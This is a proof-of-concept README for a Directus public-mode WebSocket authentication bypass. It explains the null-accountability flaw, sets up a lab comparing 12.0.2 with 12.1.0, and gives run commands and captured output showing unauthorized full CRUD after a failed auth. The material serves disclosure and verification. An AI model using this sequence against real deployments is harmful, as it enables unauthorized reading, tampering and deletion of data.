
POC for CVE-2026-126539 - Directus public-mode WebSocket accountability bypass: a failed WS auth sets accountability to null, granting unauthenticated full CRUD on user-defined collections. Vulnerable 12.0.2 vs fixed 12.1.0 control included.
Directus (headless CMS / data platform) keeps WebSocket connections alive across a failed
authentication: on a public-mode WebSocket (WEBSOCKETS_REST_AUTH=public), sending an auth
message with an invalid token makes handleAuthRequest replace the client's accountability
object with null and leave the socket open. null is not "no identity" in Directus - it is the
accountability value reserved for trusted internal calls, and ItemsService skips permission
evaluation entirely when it is present. Every subsequent items message on that socket therefore
runs with no authorization check at all: read, create, update and delete on any user-defined
collection, with no valid token ever presented. The net effect is that failing authentication
grants more access than succeeding at it - an unauthenticated read of the same collection is
rejected with FORBIDDEN one message earlier. The same null transition fires when a public-mode
client's access token expires without a successful re-authentication, so the privileged state is
reachable without sending a deliberately invalid token. Fixed in 12.1.0, which retains a
public-role accountability object on authentication failure and token expiry in every WebSocket
auth mode. CVSS 4.0 9.2 critical, CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
(CVE record, CNA VulnCheck), primary weakness CWE-636 (not failing securely / failing open).
This PoC runs the last vulnerable release (12.0.2) and the fixed release (12.1.0) side by side on the identical public-mode WebSocket configuration, seeds a private user-defined collection the public role cannot read, and walks the full impact on each: REST baseline 403, unauthenticated WebSocket read FORBIDDEN (public accountability enforced), deliberately failed auth (AUTH_FAILED, socket stays open), then read, create, update and delete with no valid token. The 12.1.0 control executes the identical sequence and rejects every operation after the failed auth.
Precondition (stated honestly): the target must have WebSocket REST access enabled in public
mode - WEBSOCKETS_ENABLED=true (default false), WEBSOCKETS_REST_ENABLED=true (default true
once WebSockets are on) and WEBSOCKETS_REST_AUTH=public (default handshake) - and the
/websocket endpoint must be reachable by the attacker. A default deployment is not affected.
This is a common configuration for realtime dashboards and collaborative apps built on Directus,
but it is three explicit settings, not a works-by-default bug.
directus npm package / directus/directus images) with WEBSOCKETS_ENABLED=true, WEBSOCKETS_REST_ENABLED=true, WEBSOCKETS_REST_AUTH=public@directus/api 37.0.0), commit 8d4cd86 - auth failure and token expiry keep a public-role accountability object instead of clearing it, in every auth modeCVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:Ndocker compose up -d # vulnerable 12.0.2 on 127.0.0.1:8083, fixed 12.1.0 on 127.0.0.1:8084
python3 poc.py --host 127.0.0.1 --port 8083 # vulnerable target
python3 poc.py --host 127.0.0.1 --port 8084 # fixed control (exit 1)
Flags:
--host Directus host (default 127.0.0.1)
--port Directus HTTP/WS port (default 8083 = the compose vulnerable service)
--admin-email admin login, used ONLY to seed the demo collection (default [email protected])
--admin-password admin password, used ONLY to seed the demo collection (compose default poc-lab-password-126539)
--collection user-defined collection to create and abuse (default notes)
The compose file brings up two stock directus/directus images (no build step) with SQLite and
public-mode WebSockets. The PoC is stdlib-only (no pip install). The attack sequence itself
carries no valid token - the admin credentials never touch the WebSocket; they only create the
private collection and its demo rows, and read back the server version.
Vulnerable 12.0.2 (evidence/vuln-12.0.2-full-crud.txt, exit 0) - the FORBIDDEN before and the
data after is the escalation, on the same socket, one message apart:
[step1] unauthenticated REST GET /items/notes -> HTTP 403 (denied, as expected)
[step2] WS upgrade ws://127.0.0.1:8083/websocket without token -> HTTP 101 (accepted: public mode)
<< {"type": "items", "status": "error", "error": {"code": "FORBIDDEN", "message": "You don't have permission to access collection \"notes\" ..."}}
[step3] unauthenticated WS read (public accountability) -> FORBIDDEN (public role enforced)
<< {"type": "auth", "status": "error", "error": {"code": "AUTH_FAILED", "message": "Authentication failed."}, "uid": "poc-failed-auth"}
[step4] failed auth reply -> AUTH_FAILED (socket intentionally left open)
<< {"type": "items", "data": [{"id": 1, "title": "payroll-export-q4.csv"}, {"id": 2, "title": "vpn-psk-rollout-notes.txt"}], "uid": "poc-read-1"}
[step5] unauthorized READ -> OK, rows=2
<< {"type": "items", "data": {"id": 3, "title": "cve-2026-126539-poc-c2125f34"}, "uid": "poc-create"}
[step6] unauthorized CREATE -> OK, id=3
<< {"type": "items", "data": {"id": 3, "title": "cve-2026-126539-poc-c2125f34-TAMPERED"}, "uid": "poc-update"}
[step7] unauthorized UPDATE id=3 -> OK
[step8] unauthorized READ id=3 -> OK, tampered title visible
<< {"type": "items", "data": 3, "uid": "poc-delete"}
[step9] unauthorized DELETE id=3 -> OK
[step10] unauthorized READ id=3 after delete -> OK, row is gone
VERDICT: VULNERABLE - unauthorized full CRUD on 'notes'
after a deliberately failed WebSocket auth (CVE-2026-126539)
Fixed 12.1.0 control (evidence/control-12.1.0-rejected.txt, exit 1) - identical sequence:
<< {"type": "auth", "status": "error", "error": {"code": "AUTH_FAILED", "message": "Authentication failed."}, "uid": "poc-failed-auth"}
[step4] failed auth reply -> AUTH_FAILED (socket intentionally left open)
<< {"type": "items", "status": "error", "error": {"code": "FORBIDDEN", "message": "You don't have permission to access collection \"notes\" ..."}}
[step5] unauthorized READ -> rejected
[step6] unauthorized CREATE -> rejected
VERDICT: NOT VULNERABLE - unauthorized operations were rejected
(patched >= 12.1.0, or WS auth mode is not 'public')
evidence/ holds the raw captures: full CRUD proof, control rejections, and image digests of the
two lab containers. Exit codes: 0 = unauthorized CRUD succeeded, 1 = rejected, 2 = transport error.
Two properties of the WebSocket controller combine (all paths relative to api/src/websocket/ at
v12.0.2).